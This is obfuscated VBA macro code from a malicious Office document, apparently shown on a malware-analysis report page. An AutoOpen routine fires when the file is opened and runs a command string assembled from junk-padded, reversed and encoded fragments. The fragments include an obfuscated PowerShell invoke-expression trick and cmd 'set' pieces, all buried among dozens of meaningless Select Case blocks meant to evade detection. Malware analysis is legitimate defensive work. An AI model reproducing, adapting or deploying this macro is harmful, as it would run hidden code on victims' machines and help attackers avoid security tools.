JNarFmB = nznbbT + tdOPz("qVPm<TEs_.AmBQNAYDAkBQZAkDAlBgZAYGA2AANAEDA0AgZAMGA2AAZAMGAiBANAADA1AQZAgDAkBQMAMGA5AQMAYGAyAgYAgDAmBQZAYGAhBQYAMDAkBgYAUGAhBQZAUGAlBQNAMGA0AAZAMDAkBANAYDA1AQZAgDA5AQZAgDAhBQOAADAiBAMAIGAxAo<EkzS", 7, 179)
Select Case tRcjTB
Case 28566
MLIsIS = Fix(82981)
voZEPu = Int(39891)
Case 35908
rDtWA = LiOUCs
XuvDj = ChrW(aOoZBP)
End Select
Select Case NuzdC
Case 11036
AEvijR = Fix(82786)
UTlUOs = Int(18216)
Case 2837
izBFz = Qtmtsu
uscQX = ChrW(EhcQi)
End Select
SdOhKK = EKYczwK + tdOPz("a%E405aFVszt$wdTm6Ff_[(4PvK04OEYoAkDAxAQMAEGA4AgMAADAlBANAEDAlBANAYGAxAAOAUDA5AQNAMGA5AQNAIDAzAQNAUGAwAwNAUGA4AQMAIDA3AgYAgDA3AAOAMDAyAAZAEGA4AAMAcDAmBgZAYGAxAQNAEDAiBANAYGAkBwYAYGAzAgZAADAzAgNAgDA3Nz@_Po", 7, 165)
Select Case NuzdC
Case 11036
AEvijR = Fix(82786)
UTlUOs = Int(18216)
Case 2837
izBFz = Qtmtsu
uscQX = ChrW(EhcQi)
End Select
Select Case TtfmpC
Case 23108
apvFjT = Fix(33569)
FRwtib = Int(12921)
Case 94455
bTMoZh = MHzTL
HujPnW = ChrW(FINcUH)
End Select
KtoFG = RZhtRO + tdOPz("_@FOAEDAlBgNAQGAlBAMAQGAxAAZAUDAxAQNAkDA4AwMAUGA4AwNAIGAlBQNAIDA3AwNAUDAmBgNAIGAwAAMAYDA5AAZAcDAjBAZAEDAhBAZAIDAyAwYAIGAkBgYAkDA5AgYAQGAmBgYAI2dGuI#oj5WPD]GrXfGi[EK", 23, 139)
Select Case TtfmpC
Case 23108
apvFjT = Fix(33569)
FRwtib = Int(12921)
Case 94455
bTMoZh = MHzTL
HujPnW = ChrW(FINcUH)
End Select
Select Case wwSrt
Case 33339
OoVuZ = Fix(1970)
Zjqhz = Int(698)
Case 21015
ddlco = rRvfL
LoktVp = ChrW(YJhKf)
End Select
FdVQAXrH = wMDsmh + tdOPz("DjPT3Wai1V7Bzt9Sw_FX AMGAkBQOAMDAwAANAUGAmBwMAEGA4AQZAMDAxAwMAIDAwAAZAYGAiBQYAYGAkBAOAkDAxAAOAQGA2AQMAADAxAQNAgDAiBAMAADZ0", 3, 99)
Select Case wwSrt
Case 33339
OoVuZ = Fix(1970)
Zjqhz = Int(698)
Case 21015
ddlco = rRvfL
LoktVp = ChrW(YJhKf)
End Select
Select Case lEUjs
Case 57450
IaiFSm = Fix(32517)
jmjdV = Int(86906)
Case 85723
hqhHJG = CrDIE
IYIit = ChrW(BpNIV)
End Select
CVjWBrdnG = ESQFTU + tdOPz("(A#Mo1V%1ugZAUGAlBwYAQDAjBQYAQGA1AwNAQGAlBgNAMGA3AQNAIDAiBAMAcDAmBQMAQGAkBQOAQGA3AAZAYGAzAAZAUDAkBAMAADA2AgY6<@Kk 1v5_]SLc(", 17, 97)
Select Case lEUjs
Case 57450
IaiFSm = Fix(32517)
jmjdV = Int(86906)
Case 85723
hqhHJG = CrDIE
IYIit = ChrW(BpNIV)
End Select
Select Case rdjEEq
Case 98699
WGwBY = Fix(61758)
wtGqUz = Int(10029)
Case 74776
IUlzlR = bFtnra
nIDuD = ChrW(ECLmFk)
End Select
GZkjC = HwtbN + tdOPz("l<Ps#XFzPpqu7nm.IR](kDAyAQZAMDAzAQNAQDAmBQZAYGAzAQZAEGAiBgYAYGAlBQZAQDAlBAOAEGAiBgNAgDAiBAOAMGA4AQMAEGAmBAZAQDAyAwNAMGAhBgZAcDAwAQMAkDAwAwMAYGAjBgZAEGA4AgYAcDA4AlJw]28J%P_1N", 13, 141)
Select Case rdjEEq
Case 98699
WGwBY = Fix(61758)
wtGqUz = Int(10029)
Case 74776
IUlzlR = bFtnra
nIDuD = ChrW(ECLmFk)
End Select
Select Case YicsjQ
Case 7666
MmSdD = Fix(27470)
QmwjZ = Int(28589)
Case 942
TCTZs = WJpqAo
MrjNE = ChrW(pjMXqw)
End Select
iiZiOckZ = qkpwmq + tdOPz("YXV5_tl90_OGA4AQZAYDAmBwYAIDA3AgNAUGAxAgYAQDA4AAZAQGAmBwNAUDAyAwNAEDAxAgYAQGAhBgMAgDA4AAMAQGA4AgYAYDA5AQZAADAmBAMAEGAxAgYAUGAwAgNAcDA2AwMAcDAyAQOAcDA1AwYAUGAxAQYAMGAhBAZAEGA5AgZAIDAhBwNAEDAxAgNAMDA1A93(%ctl1", 9, 188)
Select Case YicsjQ
Case 7666
MmSdD = Fix(27470)
QmwjZ = Int(28589)
Case 942
TCTZs = WJpqAo
MrjNE = ChrW(pjMXqw)
End Select
Select Case sZZjB
Case 11782
HKtRz = Fix(18843)
wlvsm = Int(35402)
Case 85780
uAOON = dAjiv
XXiop = ChrW(aCRpz)
End Select
CvtJfk = wjiGJj + tdOPz("0Cj6ERM<YAIDAwAQNAEDAmBANAUGAmBgNAIDA2AgYAEDA0AQMAIDAxAgNAUDAiBQYAIDA1AgZAIGAmBwNAIGA0AwNAUGAmBwNAQDAlBwNAIGAlBQOAQGA1AQMAEGAyAwYAUGA1AgZAIDAxAAZAIDA4AAZAIGA5AQZ2T@5[J2(wj<c_cLMiJ55E", 22, 153)
Select Case sZZjB
Case 11782
HKtRz = Fix(18843)
wlvsm = Int(35402)
Case 85780
uAOON = dAjiv
XXiop = ChrW(aCRpz)
End Select
Select Case ZYVzks
Case 91481
oLKvi = Fix(57810)
nBARQS = Int(58638)
Case 653
SmOBXz = uzUMwv
TLZqi = ChrW(uUbKjM)
End Select
QhhrNkq = idNiwWr + tdOPz("rC_HFjkHMD@wcNAEGA5AQZAMGA4AgMAkDAmBQMAgDAjBwMAYDA0AQZAYGAjBQYAIGAlBgNAYDA5AANAUGAzAQYAAD[8", 3, 76)
Select Case ZYVzks
Case 91481
oLKvi = Fix(57810)
nBARQS = Int(58638)
Case 653
SmOBXz = uzUMwv
TLZqi = ChrW(uUbKjM)
End Select
Select Case JkiZdF
Case 30740
iMhrJ = Fix(4573)
rvunw = Int(89303)
Case 75937
UrHwhL = BwiUzQ
JkPcI = ChrW(iShMBw)
End Select
OKjRRF = KCNOu + tdOPz("<D9SJEzTt0r)'X'+]31[DIllehs$+]1[dilLEHS$ (.|) ) ) ))571..251( #tiWzPi5<MuKV3PX_!BiTO@c55c5", 29, 51)
Select Case JkiZdF
Case 30740
iMhrJ = Fix(4573)
rvunw = Int(89303)
Case 75937
UrHwhL = BwiUzQ
JkPcI = ChrW(iShMBw)
End Select
Select Case TzQOj
Case 81697
pNRKir = Fix(7594)
RwZBd = Int(2932)
Case 86129
SCpZIt = HrOuu
iscaqv = ChrW(uOBZiB)
End Select
HjVrK = zmGzAW + tdOPz("H(5!w5QYAUGAwAQMAMGAhBwMAEDAyAgYAEDA0AJwAJW<EGs9AAjjTN6", 18, 32)
Select Case TzQOj
Case 81697
pNRKir = Fix(7594)
RwZBd = Int(2932)
Case 86129
SCpZIt = HrOuu
iscaqv = ChrW(uOBZiB)
End Select
czDJItKMEsm = LDXUpJvdHEQozb + kdoYRaRzLqQcw + SGTWmRaToiQm + ChrW(34) + KSUzJYnDzbnFDn + dYotm + PvKzPZjPz + jnVSd + jWUwlSjFIIz + SdOhKK + tzrqs + KtoFG + Jorjk + cjtpcApuaT + vnBLMqXM + qcrRIOHGKMl + WSSuWvq + BUTzr + GrwjpnR + dOPEF + RkROvICLSK + CvtJfk + SnqGWAl + ZwATBUwFvCH + EtjXQfS + WNZIurmZ + FdVQAXrH + ikKFawq + iQztl + SGjCSzD + HjVrK + JNarFmB + UwjqEfO + DwYLrqwbiph + dMWubQwo + FwfUnD + WLWowiwv + izzlRfUiz + QhhrNkq + TrJZstj + CVjWBrdnG + iiZiOckZ + KMbWwTU + TIqUcWJscL + ijHNQzIzVV + BFrqRHV + uESOhWu + OJnhDp + wBoCfzsjlc + wfKGtw + GZkjC + RsubOJaz + BiYnOnQUc + PIQGaYLTnWo + JmLiOHBuzi + doRWIN + OKjRRF
Select Case BQuHE
Case 66537
CpcTMj = Fix(62572)
JOzujv = Int(64853)
Case 53295
dCjfN = LXitKa
VsMfP = ChrW(UpMGXM)
End Select
End Function
Sub AutoOpen()
On Error Resume Next
Select Case CzpEQ
Case 92907
nVKntH = Fix(66150)
fDGjQ = Int(92251)
Case 17641
wMFPa = rlwrqK
aaDsiS = ChrW(Cdfwa)
End Select
Select Case dQhsMF
Case 86707
trLhHD = Fix(57541)
qCRYX = Int(10286)
Case 55889
nmdHQ = jGobG
EEikQz = ChrW(isLWPX)
End Select
Application.Run "SrIIikLfDPGI", czDJItKMEsm
Select Case ndhBbY
Case 74954
FaclQa = Fix(21454)
sjzCU = Int(74087)
Case 45614
HXYuKb = OjmfC
nzioZ = ChrW(EIfjGX)
End Select
Select Case TqRVJA
Case 11819
uDzsU = Fix(56885)
OBivI = Int(62140)
Case 9596
ONunTY = oRXWIZ
OciwXs = ChrW(iwFVtt)
End Select
Select Case EKOHOJ
Case 6081
ONmdS = Fix(28816)
VzVlRn = Int(2923)
Case 33115
JMljR = SZiwkG
PtPtG = ChrW(RKuaj)
End Select
End Sub
Attribute VB_Name = "bHzIbqD"
Function SGTWmRaToiQm()
On Error Resume Next
Select Case qGmtKk
Case 8324
kzdOo = Fix(82621)
EqcuGt = Int(64824)
Case 47467
FkUbiI = RRkTRd
nnUnjs = ChrW(UMVKiN)
End Select
UwEqjFXCK = UKBOjz + tdOPz("JtXiTDI8%vPDEinPSt", 5, 6)
Select Case qGmtKk
Case 8324
kzdOo = Fix(82621)
EqcuGt = Int(64824)
Case 47467
FkUbiI = RRkTRd
nnUnjs = ChrW(UMVKiN)
End Select
Select Case GqfhNL
Case 54312
vSWlEi = Fix(93726)
uEvYbM = Int(89891)
Case 9361
zOHzFG = fwwwj
sYlfU = ChrW(tSUwhp)
End Select
YFPbUkBbaEm = pKEIh + tdOPz("38EfCFAk=%vPDEiEKIqS% tes&H@u[WwljfEWw", 13, 18)
Select Case GqfhNL
Case 54312
vSWlEi = Fix(93726)
uEvYbM = Int(89891)
Case 9361
zOHzFG = fwwwj
sYlfU = ChrW(tSUwhp)
End Select
Select Case HvfRQf
Case 2077
lviONG = Fix(54759)
pvwoI = Int(41037)
Case 94253
VzLdSv = HPjrEE
mjAabt = ChrW(vrDELz)
End Select
FPWQWkTr = hBIQuwa + tdOPz("E4<aEr@KcmJiPFk1Y97sTPjP0aes&&p=%ZtnsWMAwzBr0%", 5, 16)
Select Case HvfRQf
Case 2077
lviONG = Fix(54759)
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.